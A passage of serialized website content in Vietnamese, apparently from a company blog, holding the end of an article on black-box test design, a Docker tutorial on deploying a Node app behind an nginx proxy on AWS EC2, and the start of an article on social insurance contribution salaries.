gồm:",[31,14659,14660,14663,14666,14669,14672],{},[34,14661,14662],{},"Bao phủ các luồng chuyển trạng thái đại diện.",[34,14664,14665],{},"Bao phủ tất cả các trạng thái.",[34,14667,14668],{},"Kiểm tra tất cả các chuyển trạng thái.",[34,14670,14671],{},"Tạo trường hợp kiểm thử với chuyển trạng thái xảy ra theo một thứ tự cụ thể.",[34,14673,14674],{},"Tạo trường hợp kiểm thử để kiểm tra các chuyển trạng thái không hợp lệ.",[11,14676,14677],{},"Phương pháp này không chỉ hữu ích cho phần mềm hệ thống nhúng mà còn áp dụng cho phần mềm doanh nghiệp. Cụ thể, nó được sử dụng trong các trường hợp sau:",[31,14679,14680,14683],{},[34,14681,14682],{},"Kiểm thử quy trình công việc (ví dụ: quy trình kinh doanh có các trạng thái như \"Đang chờ duyệt\", \"Đang xử lý\" v.v.).",[34,14684,14685],{},"Kiểm thử các thao tác có sự chuyển đổi màn hình.",[11,14687,14688,14689],{},"⑤ ",[20,14690,14691],{},"Kiểm thử Use Case",[11,14693,14694],{},"Kiểm thử Use Case là phương pháp thiết kế các trường hợp kiểm thử dựa trên các kịch bản sử dụng hệ thống hoặc quy trình kinh doanh.",[11,14696,14697],{},"Use Case là sự mô tả tương tác giữa hệ thống hoặc phần mềm (chủ thể) và các tác nhân bên ngoài (người dùng, hệ thống khác, thiết bị bên ngoài, v.v.). Việc làm rõ các tương tác này giúp hiểu được cách thức hệ thống cần hoạt động. Use Case không bao gồm tất cả các tương tác mà chỉ tập trung vào các tương tác mang lại kết quả có giá trị đối với người dùng hoặc khách hàng. Ngoài ra, kiểm thử này cũng mô tả sự thay đổi trạng thái của hệ thống từ các tương tác đó.",[11,14699,14700],{},"Có hai loại Use Case: Use Case kinh doanh và Use Case hệ thống. Use Case kinh doanh mô tả sự tương tác với khách hàng ở mức độ trừu tượng, xem toàn bộ công ty như một hệ thống, trong khi Use Case hệ thống mô tả các tương tác chi tiết giữa người dùng và hệ thống mục tiêu. Cả hai loại Use Case đều được sử dụng để thiết kế kiểm thử.",[11,14702,14703],{},"Use Case có thể được biểu diễn dưới dạng sơ đồ hoặc văn bản. Sơ đồ Use Case là hình ảnh hóa sự tương tác giữa các tác nhân và hệ thống, trong khi văn bản Use Case là sự diễn giải chi tiết các nội dung này dưới dạng văn bản. Mô tả bao gồm tên Use Case, mục đích, các tác nhân, điều kiện tiên quyết và điều kiện hậu quả, cũng như các quy trình như luồng cơ bản, luồng thay thế, luồng ngoại lệ. Điều kiện tiên quyết là các điều kiện cần được thỏa mãn trước khi thực hiện Use Case, trong khi điều kiện hậu quả là trạng thái cần đạt được sau khi thực hiện. Luồng cơ bản là luồng thường xảy ra nhất, còn luồng thay thế là các luồng phân nhánh từ luồng cơ bản nhưng vẫn đáp ứng điều kiện hậu quả tương tự. Luồng ngoại lệ là xử lý trong các trường hợp bất thường và có điều kiện hậu quả khác với luồng cơ bản.",[11,14705,14706],{},"Quy trình của Use Case có thể được mô tả bằng ngôn ngữ tự nhiên, hoặc có thể được thể hiện dưới các hình thức trực quan như sơ đồ hoạt động, sơ đồ quy trình công việc, sơ đồ luồng. Những biểu diễn này giúp tổ chức các hoạt động của hệ thống hoặc quy trình kinh doanh một cách dễ hiểu và làm nền tảng cho việc thiết kế kiểm thử.",[11,14708,14709],{},[20,14710,3777],{},[11,14712,14713],{},[58,14714,14715],{"href":14715,"rel":14716},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-8-vn",[62],{"title":66,"searchDepth":67,"depth":67,"links":14718},[],"2025-01-15",{},"\u002Fvi\u002Fnews\u002Fky-thuat-kiem-thu-hop-den",{"title":14374,"description":14379},"vi\u002Fnews\u002Fky-thuat-kiem-thu-hop-den","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F05080300\u002FKiem-thu-hop-den.png","bPRryLV5tYycrJGqidb7LyUQx_3INUIhgVqwtrKVRpk",{"id":14727,"title":14728,"body":14729,"category":1430,"created by":70,"date":15381,"description":15382,"extension":72,"meta":15383,"navigation":74,"path":15384,"sections":76,"seo":15385,"stem":15386,"thumbnail":15387,"__hash__":15388},"content_vi\u002Fvi\u002Fnews\u002Flaunch-with-docker.md","Giới thiệu về Docker",{"type":8,"value":14730,"toc":15367},[14731,14737,14740,14746,14749,14752,14755,14758,14761,14767,14774,14780,14783,14789,14792,14798,14802,14877,14883,14886,14889,14927,14930,14936,14942,14948,14954,14960,14966,14972,14978,14984,14990,14996,15002,15008,15011,15017,15020,15026,15029,15035,15038,15044,15047,15053,15056,15062,15065,15071,15074,15080,15083,15089,15096,15102,15105,15113,15117,15122,15126,15131,15135,15138,15141,15147,15150,15156,15159,15165,15168,15174,15177,15180,15186,15189,15195,15202,15206,15209,15215,15218,15224,15227,15233,15236,15239,15242,15245,15251,15254,15257,15260,15263,15269,15272,15277,15283,15288,15294,15297,15303,15306,15312,15315,15320,15324,15329,15334,15337,15341,15345,15350,15355,15361],[498,14732,14734],{"id":14733},"i-docker-là-gì",[20,14735,14736],{},"I. DOCKER LÀ GÌ?",[11,14738,14739],{},"Docker là một nền tảng mở dành cho phát triển, triển khai, vận chuyển và chạy các ứng dụng. Docker cho phép bạn tách các ứng dụng khỏi cơ sở hạ tầng để bạn có thể phân phối phần mềm một cách nhanh chóng. Với Docker, bạn có thể quản lý cơ sở hạ tầng của mình giống như cách bạn quản lý các ứng dụng của mình. Bằng cách tận dụng các phương pháp luận của Docker để vận chuyển, kiểm thử và triển khai code một cách nhanh chóng, bạn có thể giảm đáng kể độ trễ giữa việc viết code và chạy code trong môi trường thật.",[498,14741,14743],{"id":14742},"ii-lợi-ích-của-docker",[20,14744,14745],{},"II. LỢI ÍCH CỦA DOCKER",[11,14747,14748],{},"Không như máy ảo, Docker start và stop chỉ trong vài giây.",[11,14750,14751],{},"Bạn có thể khởi chạy container trên mỗi hệ thống mà bạn muốn.",[11,14753,14754],{},"Container có thể build và loại bỏ nhanh hơn máy ảo.",[11,14756,14757],{},"Dễ dàng thiết lập môi trường làm việc. Chỉ cần config 1 lần duy nhất và không bao giờ phải cài đặt lại các dependencies.",[11,14759,14760],{},"Nó giữ cho không gian làm việc của bạn sạch sẽ hơn khi bạn xóa môi trường mà ảnh hưởng đến các phần khác.",[498,14762,14764],{"id":14763},"iii-cài-đặt",[20,14765,14766],{},"III. CÀI ĐẶT",[11,14768,14769,14770],{},"Xem hướng dẫn theo link: ",[58,14771,14772],{"href":14772,"rel":14773},"https:\u002F\u002Fdocs.docker.com\u002Fget-docker\u002F",[62],[498,14775,14777],{"id":14776},"iv-image",[20,14778,14779],{},"IV. IMAGE",[11,14781,14782],{},"Một Docker Image là một read-only template dùng để tạo ra các containers. Image được cấu tạo theo dạng layer và tất cả các layer đều là read-only. Một image có thể được tạo ra dựa trên một image khác với một số tùy chỉnh bổ sung. Nói ngắn gọn, Docker Image là nơi lưu trữ các cài đặt môi trường như OS, package, phần mềm cần chạy, …",[498,14784,14786],{"id":14785},"v-container",[20,14787,14788],{},"V. CONTAINER",[11,14790,14791],{},"Docker Container được tạo ra từ Docker Image, là nơi chứa mọi thứ cần thiết để có thể chạy ứng dụng. Là ảo hóa nhưng Container lại rất nhẹ, có thể coi như là một quy trình của hệ thống. Chỉ mất vài giây để start, stop hoặc restart một Container. Với một máy chủ vật lý, thay vì chạy được vài cái máy ảo truyền thống thì ta có thể chạy vài chục, thậm chí vài trăm cái Docker Container.",[498,14793,14795],{"id":14794},"vi-so-sánh-container-và-máy-ảo",[20,14796,14797],{},"VI. SO SÁNH CONTAINER VÀ MÁY ẢO",[533,14799],{"className":14800,"alt":66,"src":14801,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F01\u002F28100010\u002Fcompare.jpg",[371,14803,14804,14820],{},[374,14805,14806],{},[377,14807,14808,14810,14815],{},[380,14809],{},[380,14811,14812],{},[20,14813,14814],{},"CONTAINER",[380,14816,14817],{},[20,14818,14819],{},"MÁY ẢO",[396,14821,14822,14833,14844,14855,14866],{},[377,14823,14824,14827,14830],{},[401,14825,14826],{},"Tài nguyên",[401,14828,14829],{},"Quy trình trong container sử dụng trực tiếp tài nguyên thật, nhưng HĐH có thể quy định mỗi process một mức giới hạn tài nguyên khác nhau (hoặc không giới hạn).",[401,14831,14832],{},"Mọi thứ đều bị giới hạn bởi phần cứng ảo.",[377,14834,14835,14838,14841],{},[401,14836,14837],{},"Thực thi",[401,14839,14840],{},"HĐH thật chạy phần mềm.",[401,14842,14843],{},"HĐH thật → HĐH ảo → HĐH ảo chạy phần mềm. (Đối với VPS, Hypervisor type 1 thay thế cho HĐH thật)",[377,14845,14846,14849,14852],{},[401,14847,14848],{},"Sự tối ưu",[401,14850,14851],{},"Phần mềm thật chạy trên phần cứng thật. Tốc độ khởi động gần như một phần mềm bình thường.",[401,14853,14854],{},"Phần cứng thật phải gánh cả một HĐH ảo. Từ khi máy tính khởi động lên, cho tới khi sử dụng được phần mềm rất mất thời gian.",[377,14856,14857,14860,14863],{},[401,14858,14859],{},"Tính bảo mật",[401,14861,14862],{},"Process trong cùng container vẫn có thể ảnh hưởng tới nhau. Nhưng thông thường mỗi container chỉ nên chạy một process. Process khác container không thể gây ảnh hưởng cho nhau.",[401,14864,14865],{},"Phần mềm có mã độc có thể ảnh hưởng tới tài nguyên của process khác trong cùng VM.",[377,14867,14868,14871,14874],{},[401,14869,14870],{},"Phần mềm hỗ trợ",[401,14872,14873],{},"Docker Engine, LXC Linux Container, Apache Mesos, CRI-O (Kubernetes)…",[401,14875,14876],{},"VirtualBox, VMWare, Microsoft Hyper-V, Parallels, Linux KVM, Docker Machine…",[498,14878,14880],{"id":14879},"vii-dockerfile",[20,14881,14882],{},"VII. DOCKERFILE",[11,14884,14885],{},"Dockerfile là file config cho Docker để build ra image. Nó dùng một image cơ bản để xây dựng class image khởi tạo. Một số image cơ bản: python, ubuntu and alpine. Sau đó nếu có các layer bổ sung thì nó được xếp chồng lên layer cơ bản.",[11,14887,14888],{},"Các config :",[31,14890,14891,14894,14897,14900,14903,14906,14909,14912,14915,14918,14921,14924],{},[34,14892,14893],{},"FROM — Chỉ định image gốc: python, ubuntu, alpine…",[34,14895,14896],{},"LABEL — Cung cấp metadata cho image. Có thể sử dụng để thêm thông tin bảo trì. Để xem các label của images, dùng lệnh docker inspect.",[34,14898,14899],{},"ENV — Thiết lập một biến môi trường.",[34,14901,14902],{},"RUN — Có thể tạo một lệnh khi build image. Được sử dụng để cài đặt các package vào container.",[34,14904,14905],{},"COPY — Sao chép các file và thư mục vào container.",[34,14907,14908],{},"ADD — Sao chép các file và thư mục vào container.",[34,14910,14911],{},"CMD — Cung cấp một lệnh và đối số cho container thực thi. Các tham số có thể được ghi đè và chỉ có một CMD.",[34,14913,14914],{},"WORKDIR — Thiết lập thư mục đang làm việc cho các chỉ thị khác như: RUN, CMD, ENTRYPOINT, COPY, ADD,…",[34,14916,14917],{},"ARG — Định nghĩa giá trị biến được dùng trong lúc build image.",[34,14919,14920],{},"ENTRYPOINT — Cung cấp lệnh và đối số cho một container thực thi.",[34,14922,14923],{},"EXPOSE — Khai báo port của image.",[34,14925,14926],{},"VOLUME — Tạo một điểm gắn thư mục để truy cập và lưu trữ data.",[11,14928,14929],{},"Ví dụ",[696,14931,14934],{"className":14932,"code":14933,"language":701},[699],"FROM node:12-alpine\nRUN apk add git\nRUN mkdir -p \u002Fhome\u002Fnode\u002Fapp\nWORKDIR \u002Fhome\u002Fnode\u002Fapp\nCOPY package*.json .\u002F\nRUN npm install\nCOPY . .\nENV HOST=0.0.0.0 PORT=3334\nEXPOSE $PORT\nCMD [ \"node\", \".\" ]\n",[703,14935,14933],{"__ignoreMap":66},[498,14937,14939],{"id":14938},"viii-một-số-khái-niệm-khác",[20,14940,14941],{},"VIII. MỘT SỐ KHÁI NIỆM KHÁC",[11,14943,14944,14947],{},[20,14945,14946],{},"Docker Client",": tương tác với docker thông qua command trong terminal. Docker Client sẽ sử dụng API gửi lệnh tới Docker Daemon.",[11,14949,14950,14953],{},[20,14951,14952],{},"Docker Daemon",": là server Docker cho các request từ Docker API. Nó quản lý images, containers, networks và volume.",[11,14955,14956,14959],{},[20,14957,14958],{},"Docker Volumes",": là nơi lưu trữ dữ liệu liên tục cho việc sử dụng và tạo apps.",[11,14961,14962,14965],{},[20,14963,14964],{},"Docker Registry",": là nơi lưu trữ riêng của Docker Images. Images được push vào registry và client sẽ pull images từ registry. Có thể sử dụng registry của riêng bạn hoặc registry của các nhà cung cấp như : AWS, Google Cloud, Microsoft Azure.",[11,14967,14968,14971],{},[20,14969,14970],{},"Docker Hub",": là Registry lớn nhất của Docker Images ( mặc định). Có thể tìm thấy images và lưu trữ images của riêng bạn trên Docker Hub ( miễn phí).",[11,14973,14974,14977],{},[20,14975,14976],{},"Docker Repository",": là tập hợp các Docker Images cùng tên nhưng khác tags. Ví dụ: node:12-alpine.",[11,14979,14980,14983],{},[20,14981,14982],{},"Docker Networking",": cho phép kết nối các container lại với nhau. Kết nối này có thể trên 1 host hoặc nhiều host.",[11,14985,14986,14989],{},[20,14987,14988],{},"Docker Compose",": là công cụ cho phép run app với nhiều Docker containers 1 cách dễ dàng hơn. Docker Compose cho phép bạn config các command trong file docker-compose.yml để sử dụng lại. Có sẵn khi cài Docker.",[11,14991,14992,14995],{},[20,14993,14994],{},"Docker Swarm",": để phối hợp triển khai container.",[11,14997,14998,15001],{},[20,14999,15000],{},"Docker Services",": là các containers trong môi trường thật. 1 service chỉ run 1 image nhưng nó mã hoá cách thức để run image — sử dụng port nào, bao nhiêu bản sao container run để service có hiệu năng cần thiết và ngay lập tức.",[498,15003,15005],{"id":15004},"ix-các-lệnh-cơ-bản-trong-docker",[20,15006,15007],{},"IX. CÁC LỆNH CƠ BẢN TRONG DOCKER",[11,15009,15010],{},"Hiển thị image\u002Fcontainer:",[696,15012,15015],{"className":15013,"code":15014,"language":701},[699],"docker image\u002Fcontainer ls\n",[703,15016,15014],{"__ignoreMap":66},[11,15018,15019],{},"Hiển thị toàn bộ container hiện có:",[696,15021,15024],{"className":15022,"code":15023,"language":701},[699],"docker ps –a\n",[703,15025,15023],{"__ignoreMap":66},[11,15027,15028],{},"Dừng một container cụ thể:",[696,15030,15033],{"className":15031,"code":15032,"language":701},[699],"$docker stop \u003Ctên container>\n",[703,15034,15032],{"__ignoreMap":66},[11,15036,15037],{},"Chạy container từ image và thay đổi tên container:",[696,15039,15042],{"className":15040,"code":15041,"language":701},[699],"docker run –name \u003Ctên container> \u003Ctên image>\n",[703,15043,15041],{"__ignoreMap":66},[11,15045,15046],{},"Dừng toàn bộ container:",[696,15048,15051],{"className":15049,"code":15050,"language":701},[699],"docker stop $(docker ps –a –q)\n",[703,15052,15050],{"__ignoreMap":66},[11,15054,15055],{},"Hiển thị log của một container:",[696,15057,15060],{"className":15058,"code":15059,"language":701},[699],"docker logs \u003Ctên container>\n",[703,15061,15059],{"__ignoreMap":66},[11,15063,15064],{},"Build một image từ container:",[696,15066,15069],{"className":15067,"code":15068,"language":701},[699],"docker build -t \u003Ctên container> .\n",[703,15070,15068],{"__ignoreMap":66},[11,15072,15073],{},"Tạo một container chạy ngầm:",[696,15075,15078],{"className":15076,"code":15077,"language":701},[699],"docker run -d \u003Ctên image>\n",[703,15079,15077],{"__ignoreMap":66},[11,15081,15082],{},"Khởi động một container:",[696,15084,15087],{"className":15085,"code":15086,"language":701},[699],"docker start \u003Ctên container>\n\n",[703,15088,15086],{"__ignoreMap":66},[11,15090,15091,15092],{},"Xem thêm: ",[58,15093,15094],{"href":15094,"rel":15095},"https:\u002F\u002Fdocs.docker.com\u002Freference\u002F",[62],[498,15097,15099],{"id":15098},"x-cài-đặt-ban-đầu",[20,15100,15101],{},"X.  CÀI ĐẶT BAN ĐẦU",[11,15103,15104],{},"Bước 1: Truy cập vào EC2 của AWS.",[31,15106,15107,15110],{},[34,15108,15109],{},"Mở  ứng dụng Tera Term để truy cập.",[34,15111,15112],{},"Nhập host server vào ô Host.",[533,15114],{"className":15115,"alt":66,"src":15116,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F01\u002F04163035\u002Fhost-teraterm.png",[31,15118,15119],{},[34,15120,15121],{},"Nhập username và key, sau đó nhấn OK.",[533,15123],{"className":15124,"alt":66,"src":15125,"style":1178},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F01\u002F04163312\u002Fkey-teraterm.png",[31,15127,15128],{},[34,15129,15130],{},"Màn hình sau khi truy cập vào.",[533,15132],{"className":15133,"alt":66,"src":15134,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F01\u002F04163531\u002FTerminal.png",[11,15136,15137],{},"Bước 2: Cài đặt docker",[11,15139,15140],{},"1. Cập nhật các package trên instance của bạn",[696,15142,15145],{"className":15143,"code":15144,"language":701},[699],"sudo yum update -y\n",[703,15146,15144],{"__ignoreMap":66},[11,15148,15149],{},"2. Cài đặt Docker",[696,15151,15154],{"className":15152,"code":15153,"language":701},[699],"sudo yum install docker -y\n",[703,15155,15153],{"__ignoreMap":66},[11,15157,15158],{},"3. Start service của docker",[696,15160,15163],{"className":15161,"code":15162,"language":701},[699],"sudo service docker start\n",[703,15164,15162],{"__ignoreMap":66},[11,15166,15167],{},"4. Thêm ec2-user vào group docker để bạn có thể thực hiện các lệnh Docker mà không cần sử dụng sudo.",[696,15169,15172],{"className":15170,"code":15171,"language":701},[699],"sudo usermod -a -G docker ec2-user\n",[703,15173,15171],{"__ignoreMap":66},[11,15175,15176],{},"Bước 3: Cài đặt git và clone\u002Fpull source code.",[11,15178,15179],{},"1.  Cài đặt git.",[696,15181,15184],{"className":15182,"code":15183,"language":701},[699],"sudo yum install git \n",[703,15185,15183],{"__ignoreMap":66},[11,15187,15188],{},"2. Clone\u002Fpull source code.",[696,15190,15193],{"className":15191,"code":15192,"language":701},[699],"git clone https:\u002F\u002FusernameToken:passwordToken@gitlab.com\u002F\u003Cproject name>\u002F\u003Cgit name>.git\nhoặc\ngit pull origin develop\n",[703,15194,15192],{"__ignoreMap":66},[11,15196,15197,15198,1780],{},"**  Với usernameToken là tên deploy token và passwordToken là một chuỗi ký tự random.(Xem thêm ",[58,15199,4987],{"href":15200,"rel":15201},"https:\u002F\u002Fdocs.gitlab.com\u002Fee\u002Fuser\u002Fproject\u002Fdeploy_tokens\u002F",[62],[498,15203,15205],{"id":15204},"xi-deploy","XI. DEPLOY",[11,15207,15208],{},"Bước 1: Đi đến thư mục chứa source code",[696,15210,15213],{"className":15211,"code":15212,"language":701},[699],"cd \u003Cproject folder>\n",[703,15214,15212],{"__ignoreMap":66},[11,15216,15217],{},"file Dockerfile-dev trong source được cấu hình như sau",[696,15219,15222],{"className":15220,"code":15221,"language":701},[699],"# Check out https:\u002F\u002Fhub.docker.com\u002F_\u002Fnode to select a new base image\nFROM node:12-alpine\n# RUN apk update\nRUN apk add git\n# Set to a non-root built-in user `node`\nUSER node\n# Create app directory (with user `node`)\nRUN mkdir -p \u002Fhome\u002Fnode\u002Fapp\nWORKDIR \u002Fhome\u002Fnode\u002Fapp\n\nENV NODE_ENV=\"\u003CTên môi trường>\"\nENV PORT=\"3334\"\nENV DEBUG=\"front:*\"\nENV SESSION_SECRET=\"session-secret\"\n\n# Install app dependencies\n# A wildcard is used to ensure both package.json AND package-lock.json are copied\n# where available (npm@5+)\n\nCOPY package*.json .\u002F\nRUN npm install\n\n# Bundle app source code\nCOPY . .\n\n# Bind to all network interfaces so that it can be mapped to the host OS\nENV HOST=0.0.0.0 PORT=3334\n\nEXPOSE $PORT\n\nCMD [ \"node\", \".\" ]\n",[703,15223,15221],{"__ignoreMap":66},[11,15225,15226],{},"Bước 2: Build images của source",[696,15228,15231],{"className":15229,"code":15230,"language":701},[699],"docker build --no-cache -t \u003CTên image> -f Dockerfile.dev . (Đối với development)\n",[703,15232,15230],{"__ignoreMap":66},[11,15234,15235],{},"* -t: option tags của image.",[11,15237,15238],{},"* . : thư mục source.",[11,15240,15241],{},"* --no-cache: không lưu cache.",[11,15243,15244],{},"Bước 3: Chạy container từ image source",[696,15246,15249],{"className":15247,"code":15248,"language":701},[699],"docker run -dp \u003Chost port>:\u003Ccontainer port> --name \u003CTên container> \u003CTên image>\n",[703,15250,15248],{"__ignoreMap":66},[11,15252,15253],{},"* --name: đặt tên cho container ở đây là  evaluate-system. Name này là duy nhất, nếu không đặt thì docker tự generate.",[11,15255,15256],{},"* -p mở port container.",[11,15258,15259],{},"* -d bật chế độ chạy background.",[11,15261,15262],{},"Bước 4: Đi đến thư mục nginx trong source",[696,15264,15267],{"className":15265,"code":15266,"language":701},[699],"cd nginx\n",[703,15268,15266],{"__ignoreMap":66},[11,15270,15271],{},"Trong thư mục nginx gồm 2 file là default.conf và Dockerfile",[31,15273,15274],{},[34,15275,15276],{},"File default.conf",[696,15278,15281],{"className":15279,"code":15280,"language":701},[699],"server {\n    location \u002F {\n          proxy_set_header Host $host;\n          proxy_set_header X-Real-IP $remote_addr;\n          proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n          proxy_set_header X-Forwarded-Proto $scheme;\n          proxy_pass http:\u002F\u002Fapp:3334;\n    }\n}\n",[703,15282,15280],{"__ignoreMap":66},[31,15284,15285],{},[34,15286,15287],{},"File Dockerfile",[696,15289,15292],{"className":15290,"code":15291,"language":701},[699],"FROM nginx\nRUN rm \u002Fetc\u002Fnginx\u002Fconf.d\u002F*\nCOPY default.conf \u002Fetc\u002Fnginx\u002Fconf.d\u002F\n",[703,15293,15291],{"__ignoreMap":66},[11,15295,15296],{},"Build image nginx cho source",[696,15298,15301],{"className":15299,"code":15300,"language":701},[699],"docker build -t es\u002Fnginx .\n",[703,15302,15300],{"__ignoreMap":66},[11,15304,15305],{},"Chạy container es\u002Fnginx",[696,15307,15310],{"className":15308,"code":15309,"language":701},[699],"docker run -dp 80:80 --link \u003CTên Container>:app --name nginx-proxy es\u002Fnginx\n",[703,15311,15309],{"__ignoreMap":66},[11,15313,15314],{},"Bước 5: Hiển thị các image và container.",[31,15316,15317],{},[34,15318,15319],{},"Danh sách image.",[533,15321],{"className":15322,"alt":66,"src":15323,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F01\u002F28122425\u002Fimages-ec2.png",[31,15325,15326],{},[34,15327,15328],{}," Danh sách container.",[11,15330,15331],{},[533,15332],{"alt":66,"src":15333},"images\u002Fcontainer-ec2.png",[11,15335,15336],{},"Bước 6: Truy cập vào web",[533,15338],{"className":15339,"alt":66,"src":15340,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F01\u002F28122802\u002Flogin-ec2-1024x490.jpg",[498,15342,15344],{"id":15343},"xii-tài-liệu-tham-khảo","XII. TÀI LIỆU THAM KHẢO",[11,15346,15347],{},[58,15348,14772],{"href":14772,"rel":15349},[62],[11,15351,15352],{},[58,15353,15094],{"href":15094,"rel":15354},[62],[11,15356,15357],{},[58,15358,15359],{"href":15359,"rel":15360},"https:\u002F\u002Fdocs.docker.com\u002F",[62],[11,15362,15363],{},[58,15364,15365],{"href":15365,"rel":15366},"https:\u002F\u002Fegghead.io\u002Flessons\u002Fnode-js-setup-an-nginx-proxy-for-a-node-js-app-with-docker",[62],{"title":66,"searchDepth":67,"depth":67,"links":15368},[15369,15370,15371,15372,15373,15374,15375,15376,15377,15378,15379,15380],{"id":14733,"depth":67,"text":14736},{"id":14742,"depth":67,"text":14745},{"id":14763,"depth":67,"text":14766},{"id":14776,"depth":67,"text":14779},{"id":14785,"depth":67,"text":14788},{"id":14794,"depth":67,"text":14797},{"id":14879,"depth":67,"text":14882},{"id":14938,"depth":67,"text":14941},{"id":15004,"depth":67,"text":15007},{"id":15098,"depth":67,"text":15101},{"id":15204,"depth":67,"text":15205},{"id":15343,"depth":67,"text":15344},"2021-03-18","I. DOCKER LÀ GÌ? Docker là một nền tảng mở dành cho phát triển, triển khai, vận chuyển và chạy các ứng dụng. Docker cho phép bạn tách các ứng dụng khỏi cơ sở hạ tầng để bạn có thể phân phối phần mềm một cách nhanh chóng. Với Docker, bạn có thể quản lý cơ sở hạ tầng của mình giống như cách bạn quản lý các ứng dụng của mình.",{},"\u002Fvi\u002Fnews\u002Flaunch-with-docker",{"title":14728,"description":15382},"vi\u002Fnews\u002Flaunch-with-docker","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F05103100\u002Flogo-docker.png","mUtEWC4ee2IxobYexvrNRL8LggjsYQ8zksICujez7C0",{"id":15390,"title":15391,"body":15392,"category":69,"created by":70,"date":15493,"description":15396,"extension":72,"meta":15494,"navigation":74,"path":15495,"sections":76,"seo":15496,"stem":15497,"thumbnail":15498,"__hash__":15499},"content_vi\u002Fvi\u002Fnews\u002Fluong-dong-bao-hiem-xa-hoi-05-thong-tin-can-biet.md","LƯƠNG ĐÓNG BẢO HIỂM XÃ HỘI: 05 THÔNG TIN CẦN BIẾT",{"type":8,"value":15393,"toc":15491},[15394,15397,15402,15405,15408,15411,15416,15419,15424,15427,15430,15435,15438,15441,15446,15449,15452,15455,15460,15463,15466,15469,15475,15483],[11,15395,15396],{},"Mức lương đóng bảo hiểm xã hội (BHXH) quyết định trực tiếp đến mức hưởng các chế độ BHXH của người lao động như: chế độ thất nghiệp, chế độ thai sản; chế độ ốm đau; chế độ hưu trí, bảo hiểm xã hội 01 lần. Thế nhưng, vẫn có nhiều người lao động băn khoăn về mức lương này.",[11,15398,15399],{},[20,15400,15401],{},"1. Lương đóng BHXH có phải là lương thực nhận?",[11,15403,15404],{},"Người lao động được người sử dụng lao động trả cho mức lương 05 triệu đồng\u002Ftháng; 06 triệu đồng\u002Ftháng; 10 triệu đồng\u002Ftháng… và cho rằng đó cũng chính là mức lương đóng BHXH của mình.",[11,15406,15407],{},"Sự thật không phải thế. Lương đóng BHXH không phải là lương mà người lao động được nhận hàng tháng, trong mọi trường hợp. Đây là một mức lương do người sử dụng lao động quyết định, đảm bảo không thấp hơn mức lương tối thiểu vùng và không cao hơn 20 lần mức lương cơ sở.",[11,15409,15410],{},"Mức lương tối thiểu vùng năm 2021 sẽ là: Vùng 1: 4.420.000 đồng\u002Ftháng; vùng 2: 3.920.000 đồng\u002Ftháng; vùng 3: 3.430.000 đồng\u002Ftháng; vùng 4: 3.070.000 đồng\u002Ftháng.",[11,15412,15413],{},[20,15414,15415],{},"2. Đóng BHXH trên toàn bộ lương có được không?",[11,15417,15418],{},"Có một số doanh nghiệp, đặc biệt là các doanh nghiệp nước ngoài nhằm giữ chân nhân viên đã sẵn sàng đóng BHXH theo mức lương thực tế của người lao động đó.",[11,15420,15421,15423],{},[1277,15422,14929],{},": Lương của Anh A là 20 triệu đồng\u002Ftháng và công ty đóng BHXH cho anh cũng với mức 20 triệu đồng\u002Ftháng",[11,15425,15426],{},"Điều này là không sai. Và dĩ nhiên, mức lương đóng BHXH càng cao thì mức hưởng các chế độ cũng càng cao. Tuy nhiên, dù đóng BHXH cho người lao động toàn bộ lương, nhưng mức đóng này vẫn bị khống chế là “không được cao hơn 20 lần mức lương cơ sở” (khoản 3 Điều 6 Quyết định 595\u002FQĐ-BHXH).",[11,15428,15429],{},"Mức lương cơ sở hiện nay là 1,49 triệu đồng\u002Ftháng. Do đó, mức lương đóng BHXH chỉ có thể tối đa là 29,8 triệu đồng\u002Ftháng.",[11,15431,15432],{},[20,15433,15434],{},"3. Tiền lương đóng BHXH không chỉ bao gồm lương?",[11,15436,15437],{},"Khoản 1 Điều 30 Thông tư 59\u002F2015\u002FTT-BLĐTBXH quy định: Tiền lương tháng đóng BHXH đối với người lao động đóng BHXH theo chế độ tiền lương do người sử dụng lao động quyết định hiện nay bao gồm mức lương, phụ cấp lương (phụ cấp trách nhiệm; phụ cấp thâm niên; phụ cấp thu hút; phụ cấp chức vụ, chức danh…); Các khoản bổ sung khác.",[11,15439,15440],{},"Như vậy, tiền lương đóng BHXH không chỉ bao gồm lương mà còn gồm phụ cấp và các khoản bổ sung khác.",[11,15442,15443],{},[20,15444,15445],{},"4. Lương đóng BHXH có phải là lương cơ bản?",[11,15447,15448],{},"Hiện nay, theo các văn bản hiện hành, không tồn tại khái niệm “lương cơ bản”. Đây là cách gọi thông thường của nhiều người lao động. Trong đó, có nhiều người lao động cho rằng lương cơ bản chính là mức lương đóng BHXH.",[11,15450,15451],{},"Tuy nhiên, như phân tích ở mục 3., lương đóng BHXH không chỉ bao gồm tiền lương mà còn bao gồm các khoản phụ cấp và các khoản bổ sung khác.",[11,15453,15454],{},"Trong khi đó, lương cơ bản được hiểu là mức lương thấp nhất mà người lao động nhận được, không bao gồm phụ cấp, tiền thưởng, phúc lợi và các khoản thu nhập bổ sung khác.",[11,15456,15457],{},[20,15458,15459],{},"5. Đóng BHXH tự nguyện dựa trên mức lương nào?",[11,15461,15462],{},"Nhiều người lao động băn khoăn về mức lương đóng BHXH tự nguyện. Thực tế, việc đóng BHXH tự nguyện không dựa trên mức lương, mà chính xác hơn là dựa trên mức thu nhập của người tham gia BHXH.",[11,15464,15465],{},"Theo khoản 1 